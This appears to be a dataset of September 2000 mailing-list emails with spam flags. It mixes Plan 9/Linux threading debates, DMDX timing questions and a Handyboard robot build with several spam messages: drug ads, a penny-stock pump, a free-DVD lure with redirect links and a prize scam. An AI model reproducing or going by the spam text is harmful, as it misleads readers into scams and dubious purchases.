with the proper irq/address when creating the boot floppy on the bell-labs website. ",0,0 David Evans ,cs551sp-students@cs.virginia.edu,"Fri, 01 Sep 2000 10:50:01 -0400",Room/Registration/Problem Sets,"Hi all, This mail is being sent to the toolkit course mailing list (that is, only people who were officially registered for the class). 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For some reason TimeDX just can't cope with them, they are doing too many illegal things in order for the benchmarks to look good. The other machine at home with an 85Hz display was locking onto the retrace perfectly with the old drivers reporting refresh intervals of 11.75ms, exactly correct. Installed the new 618 drivers and all hell breaks loose, instead of consistently reporting longer retrace intervals like this machine does (this one likes the value 12.00 unless you time things for excessively long intervals and then it drops back to 11.8 or so) the other machine reports short intervals, like 11.6 or so. Worse, the code that I just put in to aggressively combat cheating drivers does nothing on that box, at least on this one it stops the code that detects cheating from detecting it (doesn't actually change anything else though). Guess there's one further level of anti-cheating that I can employ but it's basically my software battling theirs. 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The Linux drawterm will not work in most other places, even under binary emulation, because it depends on the task segment selector as a unique thread id. This is the same reason that the Inferno Linux binaries don't work under other OSes with Linux binary emulation. Russ ",0,0 Alexander Viro ,9fans@cse.psu.edu,"Fri, 01 Sep 2000 16:45:46 -0400",Re: [9fans] FreeBSD 4.0 / Plan9 3rd ed.," On Fri, 1 Sep 2000, Russ Cox wrote: > The Linux drawterm will not work > in most other places, even under > binary emulation, because it depends > on the task segment selector as > a unique thread id. This is the same Sorry? ""other places"" include 2.4, for one thing. Why using gross architecture-dependent tricks, when PID is there? On Linux thread==process. There is a rfork() equivalent (clone(2)) and model is exactly the same as on Plan 9 (process as a set of components that can be shared between several processes; fork() as a special case of more generic operation that copies a subset of components and uses the old ones for the rest, etc.) Use of TSS happened to work on x86 prior to 2.3.11 or so, but that relied on the details of task_struct allocation. 2.4 has TSS-per-CPU setup and doesn't bother with changing the register at all - it's cheaper to do everything by hands. Besides, it lifts the limit on number of processes and allows to avoid quite a few TLB flushes. Use getpid() - it's at least more portable than %tss and definitely much saner. > reason that the Inferno Linux binaries > don't work under other OSes with > Linux binary emulation. Ditto. ",0,0 jmk@plan9.bell-labs.com,9fans@cse.psu.edu,"Fri, 01 Sep 2000 18:04:09 -0400",Re: [9fans] FreeBSD 4.0 / Plan9 3rd ed.,"Alexander Viro : >On Fri, 1 Sep 2000, Russ Cox wrote: > >> The Linux drawterm will not work >> in most other places, even under >> binary emulation, because it depends >> on the task segment selector as >> a unique thread id. This is the same > >Sorry? ""other places"" include 2.4, for one thing. Why using gross >architecture-dependent tricks, when PID is there? On Linux >thread==process. There is a rfork() equivalent (clone(2)) and model is >exactly the same as on Plan 9 (process as a set of components that can be >shared between several processes; fork() as a special case of more generic >operation that copies a subset of components and uses the old ones for the >rest, etc.) > >Use of TSS happened to work on x86 prior to 2.3.11 or so, but that relied >on the details of task_struct allocation. 2.4 has TSS-per-CPU setup and >doesn't bother with changing the register at all - it's cheaper to do >everything by hands. Besides, it lifts the limit on number of processes >and allows to avoid quite a few TLB flushes. > >Use getpid() - it's at least more portable than %tss and definitely much >saner. > >> reason that the Inferno Linux binaries >> don't work under other OSes with >> Linux binary emulation. > >Ditto. Phil Winterbottom and I did the original Inferno emulation port to Linux in, I think, 1996 and that is where a lot of the drawterm code came from. At that time few of the wonders you describe above were available. Sure, it's a gross architecture-dependent trick but it was no worse than what we were porting to at the time. I'm glad there are now alternatives which could be used to rewrite the code more portably, should anyone care to do so. Let's leave it at that. --jim",0,0 Russ Cox ,9fans@cse.psu.edu,"Fri, 01 Sep 2000 18:24:21 -0400",Re: [9fans] Crazy idea but why not?,"Currently there's no support for the GeForce cards, nor is there a ""generic"" driver. Could be a possibility in a few months. Sorry. Russ ",0,0 """Protozoan P. Furze"" ",Bait <9fans@cse.psu.edu>,"Fri, 01 Sep 2000 13:58:23 -0400",Software,"Just click to buy OEM! best worldwide soft at increadeable prices!!! All best software! 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",0,0 Alexander Viro ,9fans@cse.psu.edu,"Fri, 01 Sep 2000 19:34:14 -0400",Re: [9fans] FreeBSD 4.0 / Plan9 3rd ed.,"On Fri, 1 Sep 2000 forsyth@caldo.demon.co.uk wrote: > >>thread==process. There is a rfork() equivalent (clone(2)) and model is > >>exactly the same as on Plan 9 (process as a set of components that can be > >>shared between several processes; fork() as a special case of more generic > > no it is not equivalent. > would that it were. You can have multiple stacks. If anything, work by ESP is better than by TSS. ""Current stack pointer"" makes sense on most of architectures. TSS doesn't. Lack of stack-splitting is not an accident - stack is not a magic object. It's just an anonymous mapping with MAP_GROWSDOWN in flags. OK, so it's time for patch to mmap.2. Omitted piece being: MAP_GROWSDOWN created mapping will behave like a stack - grow downwards upon pagefaults. Stacks are not special in any respects - they are nothing but anonymous mappings that can grow. Sorry. That makes my original reaction somewhat over-the-top. Umhm... OK, I'll look through the thing (drawterm, that is) and try to see what can be done. Anyway, TSS hack is doomed - it's not going to work on 2.4. We used to allocate a separate TSS for each task, but that essentially forced a TLB flush upon every context switch. And it hurts a lot. Current kernel has a TSS per CPU and does needed updates by hands - it turned out to be faster than jump on TSS. So something has to be done anyway. Yes, 2.4 is not released yet, but you can be 100% sure that this change will not be reverted.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 01 Sep 2000 21:12:46 -0700",[DMDX] algorithms," Any math wizard out there know of someone's algorithm to determine the frequency of a signal given the times of a number of not necessarily consecutive samples? I'm thinking of retrograding version 2 back to version 1's retrace rate determination code, or doing some sort of blend of the two. The trouble with version 1's method of noting the time that retraces occur at is that it misses a number of them, just what percentage depends on the machine and phase of the moon -- it has a number of kludges in there that get it right the vast majority of times, however it's by no means 100%, fortunately (or unfortunately, depends which view you take, if it repeatedly screwed up I'd have done something about it) repeating the test is very likely to not repeat any error. The trouble with version 2's approach, to perform a given number of flips and note how long they all took is that on some machines, notably ones with NVIDIA video cards using Detonator 3 drivers and possibly whatever cards Mike has been having trouble with, is that a constant (it would appear) number of frames can get added into the mix, it appears to be 2 frames, so using 100 flips actually gets 102 which is what I suspect gives me a consistent retrace interval of 12.00ms when it should be 11.75, 200 flips gives half the error again, 10x the flips 1 tenth the error indicating a constant number of extra frames. Which would be fine if it did it on everybody's video cards, but it doesn't, the reason the code is the way it is is that it works on every other machine I've tested it on. So either someone comes up with a wondrous formula that solves this conundrum or I put another kludge in there. Which of course does nothing for the more scary part of the problem and that is that the existing retrace sync routines also seem to get blown out of the water by these stinking drivers too, 98% multiply missed retraces is pretty impressive when I've overridden the automatic values and entered correct ones. They get out of phase and don't get back in phase which makes me think that the driver is just point blank not telling me when the vertical retrace is occurring. All I can hope for is that there is some obvious error I've made but I'm having trouble believing that, the code works with other drivers. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Look under the sofa cushion; you will be surprised at what you find. ",0,0 Pacific Ferret Shelter Network ,handyboard@media.mit.edu,"Fri, 01 Sep 2000 22:27:28 -0700",Please unsubscribe me,"Please unsubscribe webmaster@ferretnet.org Thank You ",0,0 Jerry Normandin ,handyboard@media.mit.edu,"Sat, 02 Sep 2000 05:37:31 +0000",Linux Works well with the handyboard! and Cool Platform Hack!,"Hi, I got all the bugs out of my handyboard! First I had to bend several leafs on my 68HC11 (Thanks Fred!), Socket was ok, the processor was not. Also, when I did a burn in of my board, I did a complete trickle charge on the battery pack, ran testmotors(); to burn in the board. The board ran for 1.5 hours and then the batt light lit. Is that what everyone else is getting? I may switch over to a 9.6v camcorder battery rated at 4.5Amps, but I will need to modify the charger ciruitry from NiCad to Lead Acid. The handy brick will be a little heavier.. I don't know.. possibly I'll just add an additional NiCad pack in parallel to get more play time. Linux is an excellent developmnet platform for the Handyboard. I decided to pay for the latest and greatest version of IC for Linux and it was worth it. Now.. I was going to keep this quite until after the Firefighting robot contest but heck this hack was way too cool. At Toy Works I found a 9"" x 6"" x 4"" toy model of the Mars Rover! Not Radio control, just a wire control and only foorward and back. The model was cool enough that I had to bring it home to see if I can hack it for use with my handyboard. So.. I removed the bottom cover, and found a 3v Mabuchi motor connected to a small gearbox that drove all six wheels on the rover. I removed the transmission and motor. Cut away near the first gear after the rear wheel and made room for two lego motors to be mounted underneath the rover near the first gear near the rear wheel. The two legos are glued together back to back, I used hot glue to glue the motors into the notch I cut out near the first set of gears. I used two 8 tooth gears and these transfer energy to a 50 tooth gear which drives the wheels with 100 tooth gears the wheels have the 50 tooth gears in between them. This baby has torqe too spare! The trick was getting the motors mounted properly. The tests were skid turning. My first attempt there was a slight problem with turning to the left, the gears would skip, no problem, I just removed the hot glue, made the notches deeper mounted the motors again with hotglue this time pressing hard enogh to lock the drive gears into the 50 tooth gear tightly. This baby does not skip now!!! This turns on a dime, I am designing my own IRPD detector tonight, the board will have a crystal controlled clock. If you are looking for a cool platform to build on, and want something a little different, and you are not afraid of using a dremel tool or a utility knide (be carefull you can loose a finger, and stay away from the circular saw blade for the dremel!) The radical modifications that are about to take place to this platform won't be mentioned until after the firebot contest. The only recognizeable feature is goung to be the 6 wheel drive. This climbs well, and the best part is.. I didn't shell out $109.00 for a platform. This rover that's really cool looking cost me $5.00!!!!!!!!!!!!!!! marked down from $25.00, the lego motors cost me $20.00 for two! Toys R Us had a special on legos with 1 motor each.. usually $29.00 per kit, I got this for $9.99 a kit! So that's cheaper than just buying motors! Now time to build the encoder, I am not mentioning how I am going to do that, I'd like to see what others are going to come up with at the Firebot contest. One last thing.. building up the Handyboard most of the parts I had! I just didn't have a 68HC11 since I've been an 8051 family user for a while, and the Sharp decoder, but I managed to get it as a sample! Cool! Anyway, just thought I'd let you know that you can build a cool base for cheap! ",0,0 nigel@9fs.org,9fans@cse.psu.edu,"Sat, 02 Sep 2000 08:30:00 +0100",Re: [9fans] FreeBSD 4.0 / Plan9 3rd ed.,"I can confirm that it compiles under FreeBSD RELENG_4 (i.e the most recent stable release of 4.1). ",0,0 nigel@9fs.org,9fans@cse.psu.edu,"Sat, 02 Sep 2000 08:50:00 +0100","[9fans] rfork(), getss() etc etc","Hmm. clone() not splitting the stack is a feature of Linux, and probably not worth wasting brain power over. The fact that rfork() in FreeBSD copied clone() semantics, but the Plan 9 manual page is hard to believe. I did get some indication recently that the FreeBSD manual page would be changed to own up to the fact that it was rfork() by name but clone() by nature! FreeBSD does not split either because of the way the VM works (reading between the lines, allegedly). Now, what is the problem with this? Firslty, the only way to tell whether you are parent or child after the split is to check the return result from the system call. The inevitable conclusion is that assembly code is required to establish a new stack. This is a retrograde step, and I am staggered to find open source systems promoting the use of assembly code by including system call variants which cannot be sensibly used without. Secondly, the stack now established is not managed or protected by the kernel. Good grief, this is what we all criticise Win9x and MacOS for. Thirdly, you can only identify which process you are by calling getpid(), rather than referencing a data structure in your own stack. This is expensive, as it involves a system call, plus some form of mapping (?hash table?) from pid to per process data structure. This is might be why gettss() was used. It produces a number with a smaller range that getpid(), allowing a simple index to per process data. The Vita Nuova FreeBSD port of the Inferno emu uses rfork() and getpid(). ",0,0 Alexander Viro ,9fans@cse.psu.edu,"Sat, 02 Sep 2000 04:57:55 -0400","Re: [9fans] rfork(), getss() etc etc"," On Sat, 2 Sep 2000 nigel@9fs.org wrote: > Now, what is the problem with this? Firslty, the only way to tell whether > you are parent or child after the split is to check the return result from > the system call. The inevitable conclusion is that assembly code is > required to establish a new stack. This is a retrograde step, and I am Simply not true. Kernel is perfectly able to set the usermode ESP before returning to userland. Code that does transition from the kernel mode to user mode is in the kernel. Usually it's an assembler (check forkret() in /sys/src/9/pc/l.s for exact parallel). Picking the right ESP value happens in IRETL, same way on all systems in question. Nothing special in userland. > staggered to find open source systems promoting the use of assembly > code by including system call variants which cannot be sensibly used > without. Check the examples of use. Really. > Secondly, the stack now established is not managed or protected by > the kernel. Good grief, this is what we all criticise Win9x and MacOS > for. Ferchrissake, you've explicitly asked for shared address space. It might be stupid, but if you are asking for that, you _are_ getting what you ask for. Come on, clone() may be good or bad, but lack of memory protection is precisely what you are asking for. And getting on all systems in question. > Thirdly, you can only identify which process you are by calling getpid(), > rather than referencing a data structure in your own stack. This is > expensive, as it involves a system call, plus some form of mapping > (?hash table?) from pid to per process data structure. > > This is might be why gettss() was used. It produces a number with > a smaller range that getpid(), allowing a simple index to per process > data. Sigh... I _really_ doubt that folks who had written it need your protection. Or unable to speak themselves if they would want to. Not that there was much to speak about - code relied on seriously non-portable hack that was bound to break at some point. It happened. There are more portable and clean solutions, but they rely on the thing that was missing in manpages. So there are two things to fix: manpages on Linux and TSS hack. There are good reasons behind both variants of semantics. There are _very_ good reasons not to change either of them. There are relatively simple ways to get thread-specific data with multiple-stacks one. Example: map the areas on aligned boundary, put the thread-specific data in the bottom of the area and use the equivalent of (Thread_Data *) (ESP & -Alignment) + Alignement - sizeof(Thread_Data) for access to the current one. Turn that into inlined function and you've * got rid of hash/array/whatever - you have a function that returns a pointer to the structure you need. * made it faster than it used to be (1 register->register assignment + 2 binary operations with one of the arguments being constant - cheaper than extracting TSS and accessing element of array; definitely cheaper than any games with hashes). * made it independent from the implementation of context switches used in the kernel. IMO it's a win compared to TSS hack. If nothing else, it works ;-) As far as I'm concerned that's it. If somebody wants to discuss the reasons behind the semantics or compare implementations and their consequences - you are welcome, just let's avoid imitating *.advocacy. ",0,0 Alexander Viro ,9fans@cse.psu.edu,"Sat, 02 Sep 2000 05:31:28 -0400","Re: [9fans] rfork(), getss() etc etc"," On Sat, 2 Sep 2000, I wrote: > On Sat, 2 Sep 2000 nigel@9fs.org wrote: > > > Now, what is the problem with this? Firslty, the only way to tell whether > > you are parent or child after the split is to check the return result from > > the system call. The inevitable conclusion is that assembly code is > > required to establish a new stack. This is a retrograde step, and I am > > Simply not true. Kernel is perfectly able to set the usermode ESP > before returning to userland. Code that does transition from the kernel > mode to user mode is in the kernel. Usually it's an assembler (check > forkret() in /sys/src/9/pc/l.s for exact parallel). Picking the right ESP > value happens in IRETL, same way on all systems in question. Nothing > special in userland. Damn. Sorry, I've realized what you might mean right after sending the reply ;-/ Yes, there is some userland trickery. Unlike other system calls this beast does essentially register (int *)fn(void*) = _fn; register void *arg = _arg; register unsigned flagd = _flags; register int pid; /* new_sp ignored unless flags has CLONE_VM set */ pid = _syscall2(__NR_CLONE, flags, new_sp); if ((flags & CLONE_VM) && pid == 0) exit((*fn)(arg)); return pid; with some gcc-isms to _force_ these variables to be in registers. Since the thing is in the library _and_ contains the assembler anyway (as any other system call wrapper, be it on Linux, Plan 9 or FreeBSD - INTR is hardly pure C ;-)... Yes, you have some point, but not too serious one. Ironic, since the unusual (compared to other system calls) part doesn't require any assembler... ",0,0 Alexander Viro ,9fans@cse.psu.edu,"Sat, 02 Sep 2000 05:39:00 -0400","Re: [9fans] rfork(), getss() etc etc"," Arrgh. Sorry, I really need more coffee... > register (int *)fn(void*) = _fn; > register void *arg = _arg; > register unsigned flagd = _flags; > register int pid; > - /* new_sp ignored unless flags has CLONE_VM set */ + /* new_sp ignored if it is 0 */ > pid = _syscall2(__NR_CLONE, flags, new_sp); - if ((flags & CLONE_VM) && pid == 0) + if (pid == 0) > exit((*fn)(arg)); > return pid; ",0,0 nigel@9fs.org,9fans@cse.psu.edu,"Sat, 02 Sep 2000 10:49:24 +0100","Re: [9fans] rfork(), getss() etc etc",">> Check the examples of use. Really. Linuxthreads is a very good example. >> Ferchrissake, you've explicitly asked for shared address space. It Well, yes, but stacks are a special case. Each process has to take care not to write outside of it's own data, fine. This is called good programming technique, and does not require any special coding. Ensuring that the stack is not overflowed requires either compiler assistance, or contortions in programming. If I thought that splitting the stack was an unreasonable thing to ask for, I wouldn't. The thing is, fork() does it so it can't be hard. Also, I have solid examples of operating systems which provide a choice. >> (Thread_Data *) (ESP & -Alignment) + Alignement - sizeof(Thread_Data) Hadn't escaped my radar. We're getting into machine dependency here again, but it is a solution that I had tried. >> consequences - you are welcome, just let's avoid imitating *.advocacy. One man's advocacy is another man's technical discussion. I simply do not buy the ""clone() is perfect and cannot be changed"" attitude, or for that matter the ""FreeBSD rfork() is perfect and cannot be changed"" attitude either. In both cases, the problem could be solved by adding a spot of functionality, and taking away none. So one could add this feature, break nothing, and aid a whole class of applications. Why not? ",0,0 Alexander Viro ,9fans@cse.psu.edu,"Sat, 02 Sep 2000 06:52:57 -0400","Re: [9fans] rfork(), getss() etc etc"," On Sat, 2 Sep 2000 nigel@9fs.org wrote: > >> (Thread_Data *) (ESP & -Alignment) + Alignement - sizeof(Thread_Data) > > Hadn't escaped my radar. We're getting into machine dependency here again, > but it is a solution that I had tried. > > >> consequences - you are welcome, just let's avoid imitating *.advocacy. > > One man's advocacy is another man's technical discussion. I simply do not > buy the ""clone() is perfect and cannot be changed"" attitude, or for that > matter the ""FreeBSD rfork() is perfect and cannot be changed"" attitude either. FreeBSD rfork() still can be used to panic the box ;-/ > In both cases, the problem could be solved by adding a spot of functionality, > and taking away none. > > So one could add this feature, break nothing, and aid a whole class of applications. > Why not? OK, I'll try to describe the reasons. Let's hope that I'm awake enough to do that... Splitting the stack means that we are getting two classes of pointers - stack and non-stack ones. E.g. if you are doing coroutines you can't pass the pointers to auto variables even if their lifetimes are OK. It's not nice, to put it mildly. On the kernel side we would have to use separate page tables for every process. Even if they share VM context. It has a lot of interesting implications. One of them is that unmapping becomes very expensive. Another, and that's more serious, is that _every_ context switch leads to complete TLB flush. You will not notice the effect simply benshmarking schedule(), but you will get big slowdown spread over the userland. It's not a pure theory - effect is quite visible. Trying to work around that would give serious mess in VM code. If you have a clean way to do that - great. So far all proposals were extremely messy. Moreover, we _have_ support for large amount of mappings. It makes the situation very different - solution that works for Plan 9 will break horribly on such types of use. ""Don't do it, then"" is a nice policy, but it works both ways. Having the ""same VM - same memory"" policy simplifies the things big way. IOW, mixing these things will require serious changes in the kernel that will try it and I'm less than sure that it's worth the trouble. Same goes for doing tons of segments on the Plan 9 side (bloated kernel memory and serious slowdown or changing the data structures in not-too-obvious ways). Features may be nice, but they must be doable in clean way. Otherwise you end up with SVR4 on hands. One of the things that might make sense on our side would be sharing a VMA (more or less equivalent to Plan 9 segment) between several VMs. Right now I don't see how to do it without very bad behaviour in case of VM with many areas. Hell knows, it might be doable. However, semantics of mmap() becomes rather interesting with such change. And life without a feature is IMO better than life with an ugly kludge. ",0,0 Alma Houle ,DMDX@psy1.psych.arizona.edu,"Sat, 02 Sep 2000 04:31:45 -0500",Body Mass v/s Body Fat,"some connect some cryostat and frye , metamorphosis in blameworthy ",1,0 Luis ,Reg <9fans@cse.psu.edu>,"Sun, 03 Sep 2000 02:33:36 +1000",everything kool,"Hi Reg Here's some pretty hard facts to deal with that the majority of women are unhappy with the size of there signif other's thing. Don't be that guy, www.overbehitchreveiw.org/nw9/. met believe In at is the Issus. When Darius saw Alexanders huge army, Darius and his hope this army that Cold ran. With the victory at Issus Alexander controlled Asia Talk to ya Luis. ",1,0 Scott Schwartz ,9fans@cse.psu.edu,"Sat, 02 Sep 2000 22:51:22 -0400","Re: [9fans] rfork(), getss() etc etc ","| You will not notice the effect simply benshmarking schedule(), | but you will get big slowdown spread over the userland. It's not a pure | theory - effect is quite visible. Just out of curiosity, do any real linux programs use clone or pthreads or whatever? Say what you like about rfork, but lots of real programs make good use of it. ",0,0 Boyd Roberts ,9fans@cse.psu.edu,"Sun, 03 Sep 2000 05:03:52 +0200","Re: [9fans] rfork(), getss() etc etc ","From: Scott Schwartz > Just out of curiosity, do any real linux programs use clone or pthreads > or whatever i could believe that there is a set of linux programs, somewhere, that use any random collection of linux braindamage, but it's just a gut feeling :-)",0,0 George Mejia ,dmdx@psy1.psych.arizona.edu,"Sun, 03 Sep 2000 03:40:46 +0006",Re:,"Watch this company closely starting now! De Greko, Inc. (OTC: DGKO) WITHIN 45 DAYS, CLIXME AWARENESS CAMPAIGN TO BEGIN (This was announced Tuesday March 28, 7:45 am ET) The company is currently developing a campaign that will launch nationwide which will highlight the Clixme, ""Click to Call"" platform. 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At first the lego motor drive gear popped off the motor shaft, I repositioned the motor with hotglue and applied elmers glue to the gearshaft before inserting the drive gear. works great now! I am burning in the drive system right now by pacing the rover fwd 5 feet, turn 180 and then move back , turn 180. I still need to add sonar, and Infra Red Proximity Detector, Compass, Bumper switches, Line Tracker Sensor, flame detectors, and a servo system to activate a C02 canister. The wheels on this work very well on carpet, on a hardwood floor it's not as smooth when you turn, I am working on optimizing it though. -- MIME ATTACHMENTS DISCARDED: 1. Content-Type: image/jpeg; name=""rover.jpg"" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename=""rover.jpg"" Content-Length: 136291 ",0,0 Jenny Patterson ,Deborah ,"Mon, 04 Sep 2000 05:43:33 +0400",C_I_A_L_I_S and be a superman in bed! ,"Hi there,handyboard@media.mit.edu Try our revolutionary product, C_I_A_L_I_S Soft Tabs. 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Kenji ",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Mon, 04 Sep 2000 15:19:42 +0100",[DMDX] Re: algorithms,"At 21:12 01/09/00 -0700, Jonathan Forster wrote: > > Any math wizard out there know of someone's algorithm to determine the >frequency of a signal given the times of a number of not necessarily >consecutive samples? Here's a reply from one of our resident wizards. Hope this helps. Matt ----------------------- Dear DMDXers There is a 'circle wrapping' technique which works well with this kind of problem which has been described as a form of 'hunting for quanta'. Suppose there are K events. Let t(i) be the time at which event i occurs (i = 1, ..., K). We assume that the events are a subset of an isochronous spaced sequence which occur at times {c+d, c+2d, c+3d, ...} for some constants c (phase offset) and d (base period). So t(i) = c + n(i).d + error for some sequence of integers {n(1), n(2), n(3), ..., n(K)}. Imagine a long piece of thread with knots at the points t(i). Wrap the thread round a reel with circumference D and see whether the knots tend to collect at one place. If they do then D is probably equal to d or a submultiple d/N. Try values of D until a good fit is achieved. We use 2-dimensional vector addition to see how lumped-together the knots are. Mathematically, let C(D) = Sum[ cos(2 Pi t(i) / D), i = 1, ..., K ] S(D) = Sum[ sin(2 Pi t(i) / D), i = 1, ..., K ] Q(D) = Sqrt( C(D)^2 + S(D)^2 ) (C(D), S(D)) is the vector sum of the positions of the knots, and Q(D) is its squared length. If Q(D) is close to K^2 then we are in business. Look for large spikes in Q(D) as a function of D. A bit of care has to be taken because Q(D) has more spikes (prominent local minima) at submultiples d/n of d (harmonics of the fundamental frequency). In fact the minimising value of D is m.d where m is the greatest common divisor of the n(i). and thus will locate a subharmonic if the interevent sequence doesn't adequate reflect the fundamental base period. If there are more sequences of events with the same base period but possibly different phase offsets c, just add together the separate Q(D) values for each sequence and look for spikes of the combined Q value. This algorithm is based on ideas for 'directional' or 'circular' statistics for which a good source is the book 'Directional statistics' by Kanti V. Mardia and Peter E. Jupp [New ed.] Chichester: Wiley, 2000. I've seen it used for various problems ranging from the 'megalithic yard' to the weights of loaded coal lorries. I've used it successfully myself to analyse, inter alia, tapping/drumming data. If it's any use I can supply copies of some Matlab code written by my colleague Matthew Brett which implement this technique. Ian Nimmo-Smith MRC Cognition and Brain Sciences Unit Cambridge **************************************************** Dr Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 """T. Gathright"" ","Jerry Normandin , handyboard@media.mit.edu","Mon, 04 Sep 2000 07:53:43 -0500",Re: Here's the Rover with handyboard,"Hello Jerry, Did not get the picture of the Mars Rover. Sounds like you have a good start on your robot, please keep us advised on the problems and solutions. Was it hard to convert the mice encoders?? should be very accurate, please post the hook-up and details. Keep up the good work!!! Terry Gathright ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 04 Sep 2000 09:44:02 -0700",[DMDX] Re: algorithms,"At 03:19 PM 9/4/00 +0100, you wrote: >Here's a reply from one of our resident wizards. > >Hope this helps. Thanks, it does. It is in fact the method I was going to use with the exception of the fancy use of cos and sin. I was going to take an initial guess as being the smallest interval between any of the samples, divide every time by it and average the errors and adjust the guess based on the error and repeat. I guess the use of the vector arithmetic solves the initial phase uncertainty which would represent the lowest error my method would come up with. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Look under the sofa cushion; you will be surprised at what you find. ",0,0 George Musser Jr ,handyboard@media.mit.edu,"Mon, 04 Sep 2000 10:51:00 -0400",Pcode source code; disabling the LCD,"Hi all, Does anyone have a copy of the pcode source for IC 3.1? According to an earlier posting, it used to be available on the Newton Labs FTP site, but it's not there anymore. Also, has anyone ever completely disabled their LCD? Even after the system_print_off() function has been called, the 1 kHz system interrupt routine continues to send certain commands to the LCD, tying up the CPU and generating a horrid 1 kHz electrical noise that interferes with my RF link. I've studied the pcode source for IC 2.8, but I can't figure out why the interrupt routine still feels it necessary to communicate with the LCD even when system printing should be disabled. I managed to truly disable the LCD by judicious hacking, but I'm wondering what other people's experience is. Best wishes, George Musser georgejr@musser.com _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. Share information about yourself, create your own public profile at http://profiles.msn.com. ",0,1 internationalukprogram_prompti@virgilio.it,,"Mon, 04 Sep 2000 23:02:38 +0100",ACKNOWLEDGED,"ACKNOWLEDGED INTERNATIONAL PROGRAM. FROM THE INTERNATIONAL PROMOTIONS. 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I am using the following rtf to present backwardly masked bitmaps to participants on a slave computer. ! This vm provides 4 memory buffers. 0 ; 0 g ""4e"" %2 / g ""4a"" %59 /; 0 g ""6a"" %2 / g ""6a"" %59 /; ! etc. Continues for 58 subsequent trials. 0 ""The End. Thank you for your participation.""; The slave receives a TTL signal through the games port from a master computer that is running VPM. VPM is being used to deliver acoustic startle probes, and record physiological signals (eg, EEG, facial EMG & HR). The problem I have encountered is that there is an inconsistent delay between the receiving of the request (TTL, or keyboard activated on slave) and the presentation of the bitmaps. The inconsistent delay makes it impossible to time acoustic probes from the master computer. Preparation A for bitmaps vary between .10 to 1500ms, whereas preparation B is steady between 40 and 50ms. I'm presuming that Prep A relates to the loading of the *.bmp files, and hence is processor intensive. If anyone is aware of how to make this delay relatively constant (i.e., Prep A), or how to reduce it to a minimum, I'd appreciate it if you would let me know. It may be necessary to establish a feedback signal from the slave to the master PC, but I am unsure of DMDX's ability in this area, and would like some advice. Best Regards, Julian Simmons. ===================================================== Julian Simmons School of Behavioural Science Department of Psychology University of Melbourne Victoria 3010 Australia. jgs@unimelb.edu.au j.simmons1@pgrad.unimelb.edu.au Ph: +61 3 8344-0326 Fax: +61 3 9347-6618 Mobile: 0411 161 769 =====================================================",0,0 """John J. Curtin"" ",DMDX@psy1.psych.arizona.edu,"Tue, 05 Sep 2000 19:57:59 -0500",[DMDX] RE: Preparation delays,"Julian, I am fairly new to DMDX, but have used a 2 computer master/slave setup running VPM on both computers for many years. The easiest solution (as you suggested) is to have the slave send a pulse back to the master computer when it is finished its ""preparation"" and has begun to present the actual display. DMDX does provide for output triggers through an I/O card (Computerboards CIO/DIO24 is one that works). You could take one output bit and it run back into your data acquisition card on the master computer running VPM. So....... 1. Master sends pulse to slave to say present stimulus 2. Master goes into wait loop for response from slave 3. Slave tells master that presentation of display has begun after it finishes its preparation (DMDX syntax is where n is the integer value for the 8 bit output) 4. Master exits out of wait loop on pulse from slave. This obviously adds jitter into your ITI, but it in most instances it is not a problem as long as the two computers remain in synch. Hope that helps if no other suggestions are offered. John John J. Curtin, Ph.D. Department of Psychology University of Wisconsin - Madison 1202 W. Johnson St Madison, WI 53706 office phone: 608-262-0387 lab phone: 608-262-5621 email: jjcurtin@facstaff.wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Julian Simmons Sent: Tuesday, September 05, 2000 7:14 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Preparation delays Hi. I am using the following rtf to present backwardly masked bitmaps to participants on a slave computer. ! This vm provides 4 memory buffers. 0 ; 0 g “4e” %2 / g “4a” %59 /; 0 g “6a” %2 / g “6a” %59 /; ! etc. Continues for 58 subsequent trials. 0 ""The End. Thank you for your participation.""; The slave receives a TTL signal through the games port from a master computer that is running VPM. VPM is being used to deliver acoustic startle probes, and record physiological signals (eg, EEG, facial EMG & HR). The problem I have encountered is that there is an inconsistent delay between the receiving of the request (TTL, or keyboard activated on slave) and the presentation of the bitmaps. The inconsistent delay makes it impossible to time acoustic probes from the master computer. Preparation A for bitmaps vary between .10 to 1500ms, whereas preparation B is steady between 40 and 50ms. I'm presuming that Prep A relates to the loading of the *.bmp files, and hence is processor intensive. If anyone is aware of how to make this delay relatively constant (i.e., Prep A), or how to reduce it to a minimum, I'd appreciate it if you would let me know. It may be necessary to establish a feedback signal from the slave to the master PC, but I am unsure of DMDX's ability in this area, and would like some advice. Best Regards, Julian Simmons. ===================================================== Julian Simmons School of Behavioural Science Department of Psychology University of Melbourne Victoria 3010 Australia. jgs@unimelb.edu.au j.simmons1@pgrad.unimelb.edu.au Ph: +61 3 8344-0326 Fax: +61 3 9347-6618 Mobile: 0411 161 769 =====================================================",0,0 Complimentary Gift ,"""handyboard@media.mit.edu"" ","Tue, 05 Sep 2000 12:08:36 -0700",Watch movies anywhere Olga@em.ca with a Portable DVD player on us," 5/1/2006 - 7:50 PM Dear Olga@em.ca, Congratulations on a new Portable DVD Player! http://grnspd.heartdatesource-now.info/redir.aspx?id=364166&email=Olga@em.ca Claim your FREE Portable DVD Player Today with Free Shipping and No Commitments http://grnspd.heartdatesource-now.info/redir.aspx?id=364166&email=bait-excelled@em.ca Offer valid only to residents of the United States who are at least 18 years old. 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What a joke, I should have stayed with 2.86, if not having the source to code bothers you, and Newton Labs doesn't see the light, I recommend sticking with the free version of Interactive C, at least we can add to pcode if we wish to. If you purchase 3.1 and want to add functionality.. you can't!!!!!!!!!!!!!!!!!!!!! I don't know if Fred can help us. I thought I'd get the source to pcode_hb.asm since it was included with the Free version. We can always disassemble the code, but it would be easier to 